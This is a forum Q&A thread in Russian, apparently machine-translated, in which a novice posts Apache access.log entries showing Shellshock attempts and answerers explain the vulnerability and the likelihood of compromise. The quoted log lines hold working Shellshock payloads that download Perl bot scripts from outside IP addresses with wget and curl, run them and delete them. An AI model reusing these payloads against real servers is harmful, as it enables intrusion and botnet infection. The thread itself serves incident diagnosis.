Назад | Перейти на главную страницу

взлом моего apache с помощью cgi скрипта

Я новичок в веб-программировании, поэтому установил для своей практики сервер apache2.

Похоже, кому-то удалось взломать мой сервер apache. В моем журнале access.log есть следующая строка:

81.169.174.52 - - [22/Jan/2015:17:24:39 +0200] "GET /cgi-bin/contact.cgi HTTP/1.1" 200 1531 "-" "() { :;};/usr/     bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://202.191.121.230/ou.pl      -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\");'"

а также этот:

80.92.84.168 - - [22/Jan/2015:18:21:08 +0200] "GET /phppath/cgi_wrapper HTTP/1.0" 200 3360 "-" "() { :;};/usr/bin/perl -e 'print      \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSX\";system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -     rf /tmp/bot.pl\");'"

Похоже, что взломать уже удалось, по HTTP-200, значит запрос выполнен.

Когда я пытаюсь «отследить» команду в запросе (выполняя каждую команду вручную):

system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"

Я вижу, что мне удалось загрузить файл bot.txt. когда я открываю файл bot.txt и вижу его скрипт на Perl. Я не монах Perl, но я вижу, что он «разветвляет» другой процесс, каждый из которых пытается открыть порты для других серверов. также видел функцию внутри кода, которая пытается искать открытые порты на моей станции.

Мои вопросы:

Спасибо

Злоумышленник пытается использовать Баш Shellshock уязвимость. Вы можете проверить, уязвимы ли вы, с помощью пары простых тестов командной строки (которые сами по себе не опасны), уже описанных в другом сообщении SF:

Ваши журналы показывают, что они вернули 200 кодов состояния HTTP, что указывает на то, что Apache обслужил оба запроса без ошибок. Если бы либо contact.cgi или cgi_wrapper не удалось, я ожидал, что вместо этого Apache вернет код состояния 500 (внутренняя ошибка сервера). Это говорит о том, что оба сценария хотя бы пытались использовать эксплойт Shellshock.

Если вы можете определить, что у вас есть уязвимая версия Bash в вашей системе, то я думаю, что вероятно, что ou.pl и bot.pl сценарии действительно были загружены и выполнены в вашей системе. Учитывая это, вам не следует делать никаких предположений о целостности системы, потому что на самом деле нет способа узнать, что могло быть сделано после первоначального взлома. Как вы справитесь с этим, вам придется определить самостоятельно, но в этом вопросе SF есть несколько хороших предложений:

Классический червь-распространитель Shellshock.

Если он уязвим, он загружает файл .txt (который является загрузчиком), запускает его, загружает файл .tar, извлекает его, запускает внутренний двоичный файл, который является руткитом и сканером.

Вот краткое изучение этого поведения: как выглядит настоящая атака снарядом

Майк.